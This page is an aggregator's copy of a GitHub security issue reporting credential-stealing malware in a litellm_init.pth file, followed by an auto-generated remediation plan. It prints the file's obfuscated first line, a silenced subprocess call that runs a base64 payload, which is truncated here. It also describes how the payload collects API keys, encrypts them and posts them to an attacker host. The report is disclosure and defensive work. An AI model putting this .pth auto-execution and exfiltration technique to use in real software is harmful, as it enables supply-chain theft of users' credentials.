Issue Station
Sign In
Tools hereToolbox

litellm - 💡(How to fix) Fix Security: litellm_init.pth contains data-exfiltration malware (exfiltrates to models.litellm.cloud) [7 comments, 6 participants]

Official PRs (…)
ON THIS PAGE

Recommended Tools

×6

Utilities matched from this issue’s tags and category — try them while you read without losing context.

GitHub issue graph ai analysis

Paste a GitHub issue URL. We fetch that issue, discover linked issues from bodies/comments/timeline, collect linked pull requests, and produce a structured English report.

The report is written in English Markdown for sharing and archival.

Helpful · Quick feedback

Loading…
GitHub stats
BerriAI/litellm#24515•Fetched 2026-04-08 01:23:09
View on GitHub
Comments
7
Participants
6
Timeline
18
Reactions
0
Author
xiaomukuaierxiaomukuaier
Participants
DanielRufDanielRuffoontinzfoontinzghostghostjokesterjokestersakshamgoyal-01sakshamgoyal-01xiaomukuaierxiaomukuaier
Timeline (top)
commented ×7subscribed ×6cross-referenced ×2closed ×1

A file named litellm_init.pth found in the site-packages of a package depending on litellm contains malicious code that silently exfiltrates host credentials to an attacker-controlled server. This may be a compromised version of litellm on PyPI or a supply chain attack via a downstream package.

Root Cause

A file named litellm_init.pth found in the site-packages of a package depending on litellm contains malicious code that silently exfiltrates host credentials to an attacker-controlled server. This may be a compromised version of litellm on PyPI or a supply chain attack via a downstream package.

Code Example

site-packages/litellm_init.pth

---

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MK...'))"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
RAW_BUFFERClick to expand / collapse

Security: litellm_init.pth in litellm package contains data-exfiltration malware

Severity: Critical

Summary

A file named litellm_init.pth found in the site-packages of a package depending on litellm contains malicious code that silently exfiltrates host credentials to an attacker-controlled server. This may be a compromised version of litellm on PyPI or a supply chain attack via a downstream package.

Location found

site-packages/litellm_init.pth

Discovered via: nanobot-ai v0.1.4.post5 installed with uv tool install nanobot-ai

What the malicious code does

The .pth file is automatically executed by Python's site module on every Python startup. It:

  1. Runs a multi-layer base64-obfuscated payload via subprocess.Popen (silent, no stdout/stderr)
  2. Collects data from the host machine (environment variables, files — likely API keys and credentials)
  3. Encrypts collected data with AES-256-CBC + random session key
  4. Encrypts the session key with a hardcoded RSA public key (attacker-controlled)
  5. Exfiltrates the encrypted bundle to https://models.litellm.cloud/ via HTTP POST with header X-Filename: tpcp.tar.gz

Evidence

First line of litellm_init.pth:

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MK...'))"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

Decoded payload structure:

  • Hardcoded RSA public key (-----BEGIN PUBLIC KEY-----)
  • B64_SCRIPT containing data collection logic
  • openssl rand / openssl enc / openssl pkeyutl for encryption
  • curl POST to https://models.litellm.cloud/

Impact

Every user who installed a package bundling this litellm_init.pth and ran any Python command had environment variables (including API keys like OPENAI_API_KEY, ANTHROPIC_API_KEY, etc.) silently collected and exfiltrated.

Questions for maintainers

  1. Does the official litellm PyPI package contain litellm_init.pth? If not, this was injected by a downstream package.
  2. Has models.litellm.cloud been compromised or is it attacker-controlled infrastructure mimicking litellm?
  3. Which versions of litellm are affected?

Recommended actions

  • Audit all litellm PyPI releases for litellm_init.pth
  • If found in official litellm releases, yank affected versions immediately
  • Notify users to rotate all API keys

Related

extent analysis

Fix Plan

To address the security issue with the litellm_init.pth file, follow these steps:

  • Remove the malicious file: Delete the litellm_init.pth file from the site-packages directory.
  • Uninstall affected packages: Uninstall the litellm package and any other packages that may have been affected by the malware.
  • Rotate API keys: Rotate all API keys, including OPENAI_API_KEY and ANTHROPIC_API_KEY, to prevent further unauthorized access.
  • Audit PyPI releases: Audit all litellm PyPI releases for the presence of the litellm_init.pth file and yank any affected versions.

Example code to remove the malicious file:

import os
import shutil

# Define the path to the site-packages directory
site_packages_dir = '/path/to/site-packages'

# Define the name of the malicious file
malicious_file = 'litellm_init.pth'

# Remove the malicious file
malicious_file_path = os.path.join(site_packages_dir, malicious_file)
if os.path.exists(malicious_file_path):
    os.remove(malicious_file_path)
    print(f"Removed malicious file: {malicious_file_path}")
else:
    print(f"Malicious file not found: {malicious_file_path}")

Verification

To verify that the fix worked, check that:

  • The litellm_init.pth file has been removed from the site-packages directory.
  • The litellm package and any other affected packages have been uninstalled.
  • All API keys have been rotated.

Extra Tips

  • Regularly audit your dependencies and packages for malicious code.
  • Use a virtual environment to isolate dependencies and prevent malware from spreading.
  • Keep your packages and dependencies up to date to prevent exploitation of known vulnerabilities.
  • Monitor your system for suspicious activity and investigate any unusual behavior.

Vote matrix · Quick signals

Works
Did the solution work? Tap to confirm.
Easy Fix
Was it a quick fix?
Time Saver
Did it save you time?
Blocking
Was it severely blocking?
Common Issue
Are others likely hitting this too?
Flaky / Intermittent
Is it intermittent?
Verified / Reproducible
Can you reproduce it reliably?
Loading…
#api#environment variable#SSR setup#ISR setup#authentication setup

Still need to ship something?

×6

Another batch ranked right after the header list — different links, same matching logic.

Back to top recommendations

TRENDING